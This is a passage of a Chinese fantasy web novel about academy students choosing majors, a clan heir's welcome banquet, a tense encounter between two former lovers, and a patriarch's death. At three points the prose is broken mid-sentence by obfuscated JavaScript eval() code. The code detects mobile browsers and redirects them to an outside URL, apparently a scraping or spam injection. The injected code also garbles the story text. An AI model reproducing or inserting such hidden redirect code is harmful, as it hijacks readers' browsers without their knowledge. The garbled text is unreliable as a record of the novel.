巫寻月挨着小白毛绒绒的脑袋,呆呆地问:“小白,我能成为封号灵师吗?” “哈哈,我听到了,你说无所谓。” 巫寻月依旧是呆呆的:“可是小白,我好像不明白当大人物的意义,可能我从小不在灵师家庭长大,对高强灵力总觉得没有那么向往,一开始我来上学的时候,想的是要是以后能在神都生活就好了,其他的都没想那么多。” “我就想在神都有一间自己的小院子,有自己的工作,老老实实上完班,到了旬休日就能去逛街买漂亮衣服、漂亮首饰,还有胭脂水粉……”巫寻月想象着这一切,不自觉笑了起来,“想想就很美好呀……” 小白预告了她一下,抬起后腿挠了挠耳朵,然后尽量克制抖脑袋的力度,但还是掀起了一阵山风。 突然,巫寻月站了起来,双手叉腰,下定决心说:“我才不要当封号灵师呢,我决定了,分了方向以后我就减缓修炼进度,不要那么努力,保持一般水准,最好能在毕业的时候维持在九重灵,选一个自己喜欢的部门,老老实实上班,等有了工钱,全都拿去买衣服!哈哈哈哈——” 此处是山巅,她的笑声散播出去不见回响,悄然融进了这浓浓月色之中。 二年级一开始便课业繁重,几无过渡期,日子过起来如流水一般,比新生期要快太多。 二年级加入了两门重中之重的课程——控术和医术。控术自不必说,所谓医术,也并非平民之医术,而是要学习各种灵力导致的外伤、内伤,以及对应的修复方法。医术,是古今上下,公认的最难的课程。 开学了两个月,崩溃的同学已过半,舍友们不止一次地在宿舍里抱怨:“能不能跟老师说我不选医疗系可不可以不学医术啊?” 没觉得困难并且还兴致昂扬的同学不多,巫寻月是其中一个。她的灵力汲取于天地间灵草精华,天然自带治愈力,因此她才会在入学考试中展现出渡灵天赋。这是小白告诉她的,小白说,她也琢磨了很久。 只是这样一来,大家就更认定巫寻月一定会选医疗系了。 二年级上学期还有一件重要的事,那就是选定自己的武器。经过一年的学习认识,试用了学校里的十八般武器之后,差不多就到了该选定自己武器的时候,再和武器磨合个半年,就正式分方向,将武器结合不同术法加以运用。 这是慕丹青陪巫寻月一起去的,神都城有诸多武器铺,她知道哪家最好——虽然都是司城家所制,但不同的工匠之间,工艺自是有所差别。 巫寻月已想定,给自己寻一对趁手的双剑。这是经冷老师提议,她再自己试过之后,才最终选定。她灵力通达均衡,左右手发力几无差别,是少有的力量对称之才。她双手各执一剑时,这种通达之感更是顺畅到了浑然天成,双剑与她同频共振。 她天生发力轻灵与爆发并存,单手持剑时,总觉得力道偏颇,难以尽数宣泄。而双剑在手,一攻一守,一虚一实,力道便能如水银泻地,再无滞碍。 这二年级生的第一把武器多是战损品,毕竟还不太会用,用起来时常出纰漏,伤器也伤己,到了高年级时会再买一把新的,等到毕业之时,才会正式去定制一把专属于自己的武器,从此人器合一,成为最佳战友。 因此,慕丹青也告诉她,随便挑一把差不多得了。加上使用双剑的人并不多,店里存货也比其他兵器要少,前后不到半个时辰,俩人便买好了从店里出来,开开心心吃饭去了。 慕丹青的武器是一柄长弯刀,她不常用,甚至过去这一年巫寻月从未见过,今日既来挑武器了才想起来一问:“你的刀叫什么名字?” “不必在意,”慕丹青一挥手,道,“过两年你就把它忘了,下一个武器便懒得取名了,等到毕业时挑选真正的武器,再取名也不迟。” 虽说如此,可巫寻月还是悄悄给她的第一把武器取名为,小月。 武器都有器灵,唤一声名字,总觉得用起来与她更加同频共振。 在二年级的日子里,因为有右手腕上的戒断环,巫寻月学习起控术来几乎没有受伤——受伤也是在她忘了佩戴的时候。 她谨记着狄乐凰的话,即使觉得功课简单,也要潜心打磨,尽快将术法威力提升至与灵力对等——现如今,她可是八重灵了呢。 二年级到了尾声的时候,终于迎来了填报专业方向这件头等大事。 所有人都在劝巫寻月选医疗系,包括慕丹青。她的理由很斩切,也很详尽,巫寻月拥有罕见的医疗天赋,在其他方向上她或许尚得争一席之地,但医疗系,她必定是当代紫微星,并且,桑家本就与她家里有渊源,之后进了十部令,桑家必定保她平步青云。 且,慕丹青始终相信,巫寻月会是一个全才,医疗系的课程涵盖最全面,并不妨碍她学习其他强攻或控制系术法。 选专业这事还得跟家长商量,巫寻月写信给巫画荻,将慕丹青这一番分析告诉她,巫画荻当然也表示大为认同。 巫寻月还给狄乐凰写信了——这一年她云游在外,行踪不定,也是一番周折才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704794|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到她的回信。狄乐凰的想法与慕丹青不谋而合,两人皆真心认为,巫寻月就是为医疗系而生的天才。 而到了梅见蹊这里,巫寻月才问出口,他立刻就说:“我觉得你想选控制系。” “……为什么?” “你若是想选医疗系,何必还来问我,多问一个人,就是想得到跟之前不同的答案。” 巫寻月无可反驳,怯怯地看着他,问:“那,梅老师,你觉得呢?” 梅见蹊可不敢觉得,他才不要参与巫寻月人生的重大决策,万一有个好赖,将来他怕某个人回来掐死他。梅见蹊这话虽然敷衍,但也是实话:“我觉得,你得跟着自己的心走。” ——跟着心走? 可巫寻月也不知道,自己的心在哪里。 若是选了医疗系,那么她的毕业去向也就随之提前定下了——十部令。虽然十一部令中也有部分医疗系,但巫寻月可是优秀毕业生预备役,必然是会选十部令的。 之前她还觉得自己可以再走走看看几年,竟没想到如此猝不及防,若是选了医疗系,往后五年也就没什么悬念了。 ——这似乎,也没什么问题。 又一个月初的旬休日,月悬中天,一人一兽的身影略过神都上空,正往南方去。正值春暖花开的季节,巫寻月说,想去花开的地方看看。 巫寻月伏在小白身上,脑袋贴着它头顶,喃喃道:“小白,他们都让我选医疗系,我觉得医疗系也没什么不好,可又总是觉得没那么向往……” 过了一会儿,巫寻月突然瞪着眼睛抬起头,大叫道:“小猫咪!你怎么知道我心里在想那个人是控制系!” 小白的脑袋偏了偏,巫寻月知道,它在丢给她一个白眼。她抱紧小白,耷拉着脸,终于承认:“好嘛,我是想跟他在一个部里来着,就像乐凰那样……” 所以,如果现在选了医疗系,她就必然会进十部令。若不选,她就还有别的机会。 巫寻月好一会儿没说话,小白都以为她睡着了,忽然她又开了口:“可是小白……已经快两年了,有没有可能他……再也不会出现了呢?” 填报专业那日,巫寻月如众望所归,最终填了医疗系。在所有人眼里这根本没有悬念,所以也没引来什么议论。 填完之后她还有点懵,迟安瑜过来对她欣悦地说:“果然我们要做七年同学了。” 巫寻月冲他一笑:“也好。”——因为,她也想不出别的好在哪里了。 梅见蹊听说以后,勉励地冲她一笑:“会很苦,医疗系专业课的难度,跟公共课完全不是一个概念,做好思想准备。” 三年级开学时,巫寻月测灵是八重半,迟安瑜仍为五重灵。其他人……没有其他人了,专业已分,大半个屋子都是新同学,他们也终于拥有了更多同龄的同学。 分专业之后,强攻系九个班,控制系七个班,医疗系两个班——每班二十来人。而在灵力等级分布中,除去巫寻月这个意外,控制系的平均灵力最高,其次是强攻系,医疗系垫底。之所以会这样,是因为大家默认选医疗系就会选择性牺牲学习强攻系和控制系术法,专注提升医疗系技能,所以即使医疗术法很难,但需要学的东西总量少了,相对而言更容易毕业。 对医疗系的偏见,也由此而来——要不怎么说,医疗系全才是全灵族最稀罕的物种呢。 巫寻月三年级,慕丹青也终于进入了七年级,即将迎来她的毕业大考。开学测灵时,慕丹青距离九重灵仅半步之遥,毕业生一月一测,最快她下个月就会有最新结果。 所以,她俩不再像之前一样,有那么多时间黏在一块了。 巫寻月有些伤感:“像是提前毕业了一样……” “不会啊,”慕丹青宽慰她,“我跟你说过,等我进了六部令,你进了十部令,咱俩在对门,你忘了?” ……她确实忘了,可能是因为,她还没完全接受自己已经是一个十部令预备役了。 三年级一开学,还有一条重磅炸弹一样的消息传到神都学宫—— “司城世子戍边两年归来!将于明日启程回都,后日一早到达,神都城百姓已准备好开城迎接,恭候世子戍边归来!” 34. 第 34 章 34. “听说了吗?司城世子要回来了,后日就到,从神都城正门入城!” “啊……可是后日一早有课,我还想去城内跟着一道迎接呢……” “我可不管,能够瞻仰世子这等难得之事,怎能错过!” 至于司城迦染,她自然是在家等候的,七年级已经没课了,虽她一般用功,可身上流淌着司城家血脉,本身底子就好,现下已有八重灵。她又不打算冲优秀毕业生,也没想过毕业后进十一令,就也无事只等毕业了。 自司城迦染两年前返校以来,性情大变,温顺乖巧了许多,可让老师们纷纷松了口气。 “你可不知,当年司城郡主入学,不到一个月就把学校搞得鸡飞狗跳的,我们不得不请司城宗主到校谈话,那场面真是……”梅亦书偶然谈及此事,仍旧是心有余悸。 虽然所有人都对她的变化喜闻乐见,但在巫寻月心里,到底是心疼多些。虽与她并无太多交情,可听说她是因父亲病重才一改性情,可知她心中负担了太多。 因为,巫画荻当年也是这样的。母亲离世,父亲消失,一夜之间她突然就被推着长大了,从此生命里只剩下了一件事,就是照看巫寻月周全。 一早巫寻月起来,看到鹿晴晴和定雪莲竟然都已不见了,锦章正在更衣,巫寻月懵怔地问:“她们俩出门了?怎么这么早?” 锦章说:“今日司城世子归来,她们一早到神都城去,抢个前排好位子等着观看呢。” 竟是今日?巫寻月对此事并未太关注,便也没将何时放在心上。听锦章这么一说,她笑了笑,回想道:“上次我们一起去神都城,刚好赶上世子率队出发,可最后谁也没看着。” 锦章也笑:“是啊,所以她们二人早早便动身了,说这一次一定要见到世子。” 巫寻月梳妆后出门,一路到食堂,遇人不多,食堂里更是寥落,往日这时该是用餐高峰,害她几次以为自己是不是已经迟到了。 很快她就见到了慕丹青,她向来独来独往,拿了些早点就过来坐到巫寻月身边。巫寻月赶紧又向她确认一次:“现在应该还没上课吧?人这么少,吓死我了。” “都去看司城世子了,若是世子入城得早,他们便只用翘半节课。”慕丹青咬了口包子,面露难色,“说到这个,世子归来,司城府设宴接风,我阖家都要去赴宴,我母亲叫我今日早早回家梳妆,烦都烦死了。” 这是巫寻月唯一和慕丹青说不到一块之处,慕丹青不爱华服钗环,不爱胭脂水粉,成日一身劲装,一人一马就能出门。她说:“穿那些多烦啊,那些首饰叮叮当当的。” 慕丹青是没有半分温婉,这让她何时才能察觉枫若恒的心意,巫寻月想起来时常觉得好笑。 巫寻月劝道:“如此正宴,是该好好梳妆一番,也是礼数。” 慕丹青看向她,刚要说什么,突然神色一定,嘴角多了分戏谑,调笑道:“你该找管事老师要几身新校服了。” 听她这么说,巫寻月低头看向自己,出奇道:“怎么了?哪里破了吗?” 慕丹青好无奈,伸手帮她扯了扯交领,说:“是你发育太快了,大美女。” 巫寻月吓得捂住了胸口,脸红了:“……很明显吗?” “你这身段,真是……”慕丹青还未放过她,“吃什么长这么大的?” “……喂!你能不能小点声!” “哈哈哈哈——”笑归笑,慕丹青又提醒一次,“可别忘了,这练功服你穿着是小了,领口这么紧,也阻碍行动的。” 巫寻月今年十七,骨架较两年前更开阔了些,个头高了一寸多,身上该发育的,也差不多定了型。她如今皮相上又减了几分圆润,变得更加棱角分明,五官也更加突出,如神笔勾画一般,精致得不像世间之物。 且这身段……旬休时穿着宽松长袍不甚明显,一旦穿上贴合的练功服,又是她两年前的偏小尺码,简直一眼看去眼睛里就别无其他了。 出门时,慕丹青还在念念不忘:“刚认识你时就觉得你比我们都明显些,两年过去竟变得这么夸张,啧啧……” 巫寻月倒是不羞于被夸赞这个,反而揶揄她:“你还会羡慕这个?” “喂,谁羡慕了?” “你还说没有?” “……”慕丹青最后也没有承认。 巫寻月把这事放心上了,午间就去找了管事老师。管事老师见她如此,贴心地说:“你需得再大两号,这样胸部才够宽,也得预留你再长大些的空间。” 巫寻月一听,大惊失色:“老师!我一定不会再长了!” 管事老师都要笑话她了:“胡说什么,你这是多少女子羡慕不来的。” “倒也……不必如此……”有是得有,可巫寻月这个,多少是夸张了些。 午间的食堂里,也只有一个话题。 “见到了见到了!我就在最前排!司城世子英飒神武,器宇不凡,要称他是天下第二才俊,还有何人敢称第一啊?” “边境风霜苦寒,些许胡渣还未及时打理,看上去多了几分成熟,与从前全然不一样了!” “今日怕是全城百姓都来了,人山人海!从中央大街一路站到灵谕大街,目送世子入天听阁后,百姓都还久久不散呢……” 神都学宫世族子弟诸多,他们则是另一番说法: “我叔公今日一早便去了天听阁,十一令与五大宗族皆到场听取世子戍边归来复命,大灵师特赞赏世子与风族敖星泓一战,说他大大扬我族威。” “我家今夜阖府到司城府赴宴,我可要想好一番话,待见到世子好好向他说……” “听说世子戍边时修炼日日不曾懈怠,修为又有进益,不知能否参悟出封灵境二式必杀技……” “这不太可能吧……太夸张了,世子封灵不过两年,怎可能这么快就有二式,当今封号灵师也无人有此速度……” 无论如何,司城家之事,于长隐洲都是惊天动地的大事。 因此,对于今夜司城家之宴,各宗门、各世族、各令府都未敢有一点马虎。慕丹青嘴上说着不想试衣服,但吃过午饭还是乖乖回家去了。梅见蹊上午更是告了假——反正他也只教一二年级历史课,这课少上一两节倒也不打紧。 此刻狄府之中,狄家宗主与主母召来了所有子女,狄乐凰还有一兄一姐,都在狄家商贸事务中任要职,已辅佐父母打理家族事务多年。只有狄乐凰,如今还被当成全家捧在手心的宝贝,总觉得她还没有长大。 父亲叮嘱该出门的时间,该注意的人物,该说和不该说的话,母亲则是提醒他们着装需得正式些,发髻得梳成什么样子,妆容也不可马虎。 而狄乐凰,此刻正在走神。 司城府设宴,十一令座首与副座皆会到场,那么——言萧鹤也是要去的。 她不知道该怎么办了……一年多过去了,她再也没有见过他,也有意在回避与他有关的一切,听不得半点与他相关的消息……可如今,却还是躲不开。 “乐凰?” 母亲唤了一声,狄乐凰才回过神来,微微颔首:“是。” 母亲又再嘱咐一遍:“今日须梳成牡丹髻,要费些时候,午后记得早些起来梳妆。” “……是。” 到了这时,狄乐凰还在绞尽脑汁想一个不去出席的合适理由。若是装病称不适,父母倒也是体谅的。但她终究没有说出口。 ……果然还是想见啊。可是她怕啊,她太害怕了,害怕自己忍不住去找他,害怕自己一见到他就控制不住当场痛哭…… 狄乐凰甚至想紧急叫来巫寻月陪她同去。可,转瞬竟才意识到,这是司城凛的宴席…… 司城府邸之中有一曲水流觞之景,为空相家集全族巧匠所建,规模之宏大,可容下全都城所有世家大族前来赴宴。 天幕之下,无数条晶莹水带穿梭交汇,切分出许许多多块宾客席位,奇石异木环绕,灵鸟跃于花丛。溪流汇聚于前方清池,一座铺木高台如众星拱卫般展开,此处便是宴席主位,高台凭一座高层阁楼而出,飞檐斗拱,碧瓦朱甍,牵引出数条细线四散,于空中布线成网,挂满盏盏红灯,明黄焰火皆由术法而成,不熄不灭。光影之下,盛大恢弘之至,华丽奢靡之极,如临九霄神宴。 司城家的宴席此景,于长隐洲若称第二,无人再敢居首。 虽名为司城凛的接风宴,可此等规模的宴席,汇聚灵族所有顶盛名门,来客自是心怀各异,各有目的,冲着谁来的都有。 按狄家现如今的威势,位分排在五大宗族第五,终究是在十一令之上,因此,宴席座位安排在居中核心位置。而狄家郡主之美貌名冠神都,今日正宴又是盛装出席,主席台下,狄乐凰就是那万众瞩目的所在。 狄乐凰不知道的是,司城凛去向天听阁复命后,又到九部令府做了交接,一路奔忙,还是赶在下午过来检查了一遍大体情况。然后他就发现,八令座首言萧鹤的位子,与她可以说是隔空对望,戏剧得很。 司城凛立刻吩咐人把座位调整一番,现下就变成了——言萧鹤能清清楚楚地看着她,而她看不见言萧鹤了。 之后最先到的梅见蹊,他自然也注意到了此景,颇为赞赏地道:“你家管事会安排得很啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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狄乐凰一直没有表情,不开心,也装不出来开心。她知道他在那里,就在她余光之处。他今日未穿官服,灰色交领外衫上套了件藏蓝色广袖长袍——她的确一眼也未看过去,但她能确定,那就是他,她怎么会认不得他的身形。 找他说话的人很多,停留的人却不多,她能想象到他应付这些前来敬酒之人时木讷的模样,甚至会有些局促。还好他的副座虽然和他一样是个武痴,却比他明事理些,很会为他搭腔圆场。 狄宗主也出去找人说话了,他虽身份尊贵,却不拘小节,从一令座首席位开始,还在座的他都敬了一杯。 但前面的空座还真不少,漆听部下诸多高门世族,早就被拉去喝酒了;二部令乔姬远在山海洲,空留个位子以表敬意;四部令枢明镜也是个健谈的好酒之人,并不在;六部令慕之遥本就是世族,应酬一大堆,也不在…… 所以,没一会儿,就到言萧鹤了。 狄宗主过来的时候,言萧鹤在看他的女儿。所以,当言萧鹤循着一声“言封座”而回头,却看见了狄宗主的脸时,他的手吓得明显一颤,迟了些才起身相迎。 既然父亲在那边,狄乐凰便也正大光明地看了过去。狄宗主是全长隐洲商贸的掌权人,对这等应酬自是得心应手,他言笑晏晏,对于言萧鹤这等寡淡之人也能完全控场,不留一丝尴尬。 而言萧鹤,就快碎了。 狄宗主向他敬酒,道:“感谢言封座深明大义,狄某自知小女乐凰给你添了不少麻烦,拒绝宗门子女入列,言封座想必也是顶着压力,可言封座能直言不讳,认真为小女考虑,狄某无以为谢!” 言萧鹤大约是心虚,总觉得他这话一语双关,一时不敢接应。直到霜泉提醒了他,他才迟迟地将那杯酒饮尽。 才放下酒杯,就听见有人过来了:“哎呀狄大宗主啊!要见到您的金面可真是不容易啊!” 狄宗主见到来人,笑脸相迎道:“这不是庄大人嘛!许久不见,近来可好?” 俩人就在言萧鹤面前聊了起来,庄大人答完话,也问候一番:“听闻乐凰郡主也开始打理狄家事务了,可了了狄宗主一桩心事吧,女儿家,总还是放在身边放心些。” 狄宗主笑道:“乐凰性子跳脱,想一出是一出,我也由着她。当时毕业想进十一令,本以为她会选控制系队伍,没想到她竟能修成双修系,转投言封座门下的先遣部队——”狄宗主示意一旁的言萧鹤,言萧鹤也稍稍颔首。狄宗主继续说:“可言封座直言利弊,为了小女前程考虑,便拒收了她。” 庄大人听此一言,膛目结舌,迟些才拱手笑道:“言封座果真是……中通外直之人啊!” 言萧鹤仍是稍稍颔首,一言不发。 接着,庄大人继续说:“这么一来,言封座替狄宗主解了件烦心事。狄宗主,接下来,可就该考虑乐凰郡主的婚事了吧?” 35. 第 35 章 35. 言萧鹤一怔,眼神定住。 而狄宗主接得很快:“身为父母,子女烦心事自是一件接着一件,哪有操得完的心,乐凰确实也到了可论婚假的年纪……” 庄大人顺着就问:“可有哪位中意的青年才俊没有?” 言萧鹤突然放下酒杯,向狄宗主行礼,道:“狄宗主,我还有事……先告辞了。” 两人同他道别,言萧鹤迈着急促的步子一路向会场外走,一个字也不想多听。他心神游离,走了好一会儿才意识到霜泉跟在身后,抬声说:“你自便吧,不必跟着。” “……是。”霜泉停下脚步,看着那一身藏蓝长袍越走越远。 霜泉叹了口气,刚才狄宗主那一番恭维,不知道的还真以为他是来阴阳怪气封座大人的……他都暗自为言萧鹤捏了把汗。 接着,霜泉好奇地望向狄乐凰的位置,一惊——她不见了。 狄乐凰一路向外疾行,推掉了一个又一个来向她敬酒搭话的人,绕过一个又一个觥筹交错的身影,终于穿过檐廊,离开会场。可当她来到言萧鹤走出的方向时,看到的却是空无一人的院子。 她喘息微重,环顾四下,穿过花园出了一道院墙,仍是四下无人。她说服自己冷静下来,想试着去感受他灵压的存在……可很快,她不自量力地苦笑一下,他是封号灵师啊,她一个小小的九重灵,怎么可能主动探查到他的存在。 狄乐凰继续往外走,走过一道道院墙,一座座檐廊,一池池湖畔……栖息四处的灵兽纷纷向她投来好奇的目光,所遇侍从一个个向她行礼……可她就是找不到那个她想见的身影。 最终,她绝望地在偌大的庭院间停了下来,苦笑一下,又一下。 寂静的夜色里,蓦然升起她低声的抽泣,她努力地克制着自己,眼泪却越发汹涌。 墨蓝色的夜幕之中,勾勒出一道立在屋顶檐角的身影,藏蓝色长袍被风带起,也将远处女子的哭声,送向他的耳畔。 可他就只是这么望着她,一动不动,甚至不敢让她发现自己的存在。 腊月结束时,慕丹青还是未达九重灵。老师说她心火太燥,适得其反,要她放假好好放松一番,最好能出去走走,或许更有助益。 慕丹青将这话说给巫寻月听,急得直跺脚:“我怎能不急?不达九重灵就是不能懈怠,别最后闹了笑话,丢了我慕家的脸!” 此刻巫寻月正在煮制一壶药茶,气定神闲之姿与慕丹青形成鲜明对比,她缓慢往茶盏中倒茶,声音也是一般缓和轻慢:“上天便是如此安排的,越是着急之事,反而越没有结果——这是我研制的静心茶,你喝喝看,可有些用?” 自巫寻月学医,时常拿慕丹青当小白鼠,什么都往她嘴里倒,她也习惯了。慕丹青急躁难安,夺过茶水略吹了吹就往嘴里送,茶下了肚,没一会儿她就觉得不对:“……我怎么觉得突然好困。” “这便是副作用了,”巫寻月笑了起来,“你越是燥热,越与静心茶相斥,产生的困意越强烈——好好睡一觉吧,起来之后再看看如何?” 未等她说完,慕丹青倒在榻上,睡着了。 门外传来一道声音:“——又拿丹青姐姐当试验品了吧?” 随着声音渐近,门口进来一位模样稍显稚嫩的少女。她叫朝黎,巫寻月的同班同学,十四岁,出身桑家旁支,已有六重灵,在同学之中属有天分者,性子跳脱,如同慕丹青的缩小版。 巫寻月用目光迎她,笑起来:“快进来,你也尝尝这新茶。” “学霸就是学霸呀,”朝黎伸了个长长的懒腰,“好好的旬休日,说要休息,结果竟是在这里制茶。” 分了方向以后,每个专业的班级都有了独属于自己的校舍,用作休息、自习或练功,医疗系的屋子最多也最大,毕竟相比起另外两个专业,医疗系待在屋内钻研的时间要多些。 巫寻月最喜欢的一处问心阁,有着凭栏而出的高台,半悬空在崖边,望见的是山的另一侧景色——对面另一座山头上,建着一片寺庙一样的地方,筑有围墙,院落空阔,有正殿、偏殿,还有几间厢房。只是那建筑制式和院中所设一派富丽堂皇,一看便不是普通人家。 刚发现的时候,巫寻月就问过朝黎这是什么地方,朝黎说,这是司城家宗祠。 巫寻月颇为惊诧,打趣道:“司城宗祠的选址必是风水宝地,又毗邻学校,所以神都学宫也是顶顶的风水宝地呢。” 巫寻月也给朝黎倒上了一杯茶,道:“来,你尝尝。” 朝黎落了座,细品一小口,慢慢道:“隐约透着一股香气,沁人心脾。” “说明你今日心情不错,”巫寻月解释道,“这茶千人千面,对不同心境的人有着不同效用,你若开心豁达,它便让你觉得更通畅些。” “嗐!”朝黎这才放心一口饮尽,“我还以为喝多了像她一样直接倒地了呢。” 巫寻月也给自己倒上了一杯,问:“你今日怎么有空到我这里来,不去缠着迟安瑜了?” 说到此人,朝黎没了好脸色:“他那个药痴,缠着也是无用,整个人就是块木头!我看他倒是和世子哥哥像得很,等以后共事起来,可有得聊了!” “安瑜好学,他出身平民家庭,天资落后一些,自是要多用些功,你且多给他些时日。” “罢了罢了,”朝黎摆摆手,潇洒得很,“他要是能开窍,我寻月貌若天仙,前两年你们一向同桌上课,他怎能不心动?” 巫寻月一口茶水喷出,把自己呛了:“——胡说什么呢,定然不是谁和谁都能看对眼的呀。” “也是,”朝黎仰着脖子,顺着就联想起来,“我家世子哥哥也是莺莺燕燕环绕,可一心扑在药里,并不理会;司城家世子俊颜绝世,投怀送抱者无数,可也未曾听说他对谁留心——只有梅老师!对一女子深情不倦,可她也并非天仙容貌……” 朝黎还没说完,巫寻月就跟听到了惊天新闻一般拽住了她的手:“——你说谁?哪个梅老师?” 朝黎废话一般看她:“自然是梅家世子。” “——梅见蹊?深情不倦?还并非天仙容貌?” “许是见你见得多,我也变得挑剔了,其实那时我初见她,也觉得是个漂亮姐姐呢。” 巫寻月根本无心理会她一番赞美,整个脑子都被这消息给轰炸了:“这是什么时候的事?” 看起来有些时候了,朝黎好好想了想,才说:“那年我九岁,在桑府中玩耍,遇见梅世子带一女子前来拜见我家世子——他走的侧门,那女子还遮面,隐秘得很,只是我身量小,无人注意,或也觉得我不过是个娃娃不懂事,便也不太避着我。我听不清他们说了什么,只是梅世子苦求我家世子,却好像……并未得到什么好结果。” 她说完了,巫寻月久未回神,因为这段描述中的梅见蹊,跟她所知道的梅见蹊,完全不可能是同一个人。半晌,巫寻月才抽出一缕头绪,问:“此事……很多人知道吗?” 朝黎说:“我回家跟我爹娘说,他们皆是惊诧,嘱咐我不许再跟任何人提起。” 巫寻月愣住:“……所以,你就这么告诉我了?” 朝黎笑了笑,不着急回答,好好将一杯茶饮尽,才说:“寻月,你守得住事,事情在你这里,往往是只进不出,根本不用担心。” 巫寻月乐了,被逗得大笑:“你这个小女娃娃,会说话得很。” “而且我还知道为什么,”朝黎冲她挑眉,道,“因为你内心很坚定,你有自己想要的东西,其余的你都觉得无关紧要,不必多拿来说嘴。” 巫寻月难以置信地看着她:“……你当真只有十四?” “医者多有禅意,我们桑家上下多是这个样子,你要开始习惯,”朝黎碰了碰她的茶盏,揶揄道,“我看你也开始了,从前都是翻山爬树,分了医疗系,都开始泡茶了。” 朝黎说的不无道理,好像学医之后,她的内心变得愈发平静了下来。 可巫寻月不知道的是,山雨欲来,她的世界,很快就要掀起一场空前绝后的暴风雨了。 这场暴风雨的吹哨人,便是朝黎。她坐了些时候,起身起来活动活动,走到凭栏处望向对面山头的司城家宗祠,若有所思,然后道:“咱们得把自己的东西收好,这里不日会变得热闹起来。” 巫寻月听着匪夷所思,却当只是随口,并未多问。 寒假巫寻月在家,巫画荻以为她会因激发了学医兴趣而更多地钻研草药,恰恰相反,一回到家中,巫寻月就完全变得不像医疗系学生,什么知识都抛到了脑后。 垩山山谷之中,巫寻月正用控术与小白对打。她使出刚刚学会的封印类控术金刚镯,将小白稍稍合围——小白实在是太大只了!三年级学生使出这么大的金刚镯很不容易的!可小白稍一跺脚,那发着亮光的金色圈环就被震碎了。 不光震碎了金刚镯,还将巫寻月震得向后一弹,她气得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720820|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跺脚——看起来和慕丹青一模一样:“小白!都跟你说了不要那么快弄掉它,我要试着维持一下它的形态!我知道封不住你——你就不能假装一下吗?” 小白非常羞愧,先是低头,接着往地上一躺,打起了滚。 在这山野之中,巫寻月依旧是那个纯真烂漫的少女,暂时忘记神都的一切,就好像从未离开过这里,从未去过神都。 可与此同时,千里之外的神都,已掀起惊涛骇浪。 司城家第四十六任家主司城靖,于清晨时分薨逝,容貌安详,子女皆在旁。 主屋内外之人一片悲天跄地,司城迦染哭着哭着就晕了过去。只有司城凛,他跪在榻前,闭眼,不动,不言。 主屋之外忽然变了天色,郎朗晴明骤然染上青灰之霾。要下雨了,神都的天变了,司城家的天,也变了,灵族的天,也即将改变。 其实巫寻月并不需要等到开学之后才得到消息,慕丹青隔三差五就会给她来信。但这一次,比慕丹青更快的是驻城灵师的反应——正值九部令轮值驻守,一日巫寻月出门,碰巧遇见他们出来采买,就见到他们个个头系白色孝巾。 巫寻月一愣,身为邬戍城唯一的神都学宫学生,双方自然不会不识,巫寻月朝他们走了过去,一问才知,司城靖于昨日过世了。 之后没几天,在慕丹青的来信中,巫寻月更具体地知晓了全貌。 司城靖在位一百零七年,相对历任家主实为短暂了些,最令人叹惜的是,若不算上他年轻的儿子,司城靖是司城家历来的最强当家,而司城家的最强,几乎等同于灵族最强——这与他的年寿相比,太过于令人惋惜。 事发之后,五大宗族皆赶到司城府,消息很快传遍神都,全城百姓遍地悲鸣。五大宗族府邸与九部令府悬素帛、撤彩饰,挂上祭灯,各府也在准备路祭凭吊,全神都城街头巷尾几乎都在准备,近日丧葬行的伙计忙得冒烟,加班加点赶制各家订单。 司城家主易位,这在全灵族可是惊天动地的大事。这一年,司城凛二十四岁。 事发于正月十三,而正月二十一,巫寻月就踏上了返回学校的路程。在暮沉泊一上双凫船,所有人不约而同在议论此事: “我就说迦染郡主此次返校一改性情,定是家中巨变,没想到这才两年多,司城宗主就……” “老宗主神勇无敌,实是天妒英才,走得太早了些……” “世子今年才二十四,可不知能否担起重任……” 回到学校,神都学宫也挂上了素帛与素灯,五大宗族共担共荣,也同悲同哀,千万年来紧密无间,才共同维持了长隐洲的繁荣稳定。 停灵已至第十九日,后日便是司城宗主出殡的日子了。 此时的问心阁内,巫寻月与朝黎正研磨制茶灵草,慕丹青得闲在一旁等茶,至于她为什么闲——假期她还是听了老师的话出去转转散心,之后身心通畅,自觉灵力稳定不少,后再发力修炼,开学时测灵,已然达九重。 既已到了九重灵,慕丹青短期内便无紧要之事了,她并不需要像狄乐凰那样争名次,六部令向来不太热门,她又是慕之遥侄女,同学也不是不明事理的,早就默认将六部令留给她了。 还是慕丹青先提起来:“司城宗主停灵已十九日,后日就要出殡了,这次葬礼,桑宗主任了护丧,想必到时候,题主会是我们梅校长。” 朝黎说:“这一代的五位宗主里,司城宗主的确与桑宗主、梅校长最为交好,想来也是他们二人。” 慕丹青提醒道:“后日司城世子便要扶灵送葬,大后日再举行继位仪式,你们这可是要热闹了。” 听她这么说,巫寻月一思忖,道:“你是说司城世子送葬至司城家祠,大家会聚到高处围观对面?” 朝黎哼了一声:“上回我就提醒过你了。” 慕丹青抓住关键,问:“所以你早就知道司城宗主就快不行了?” 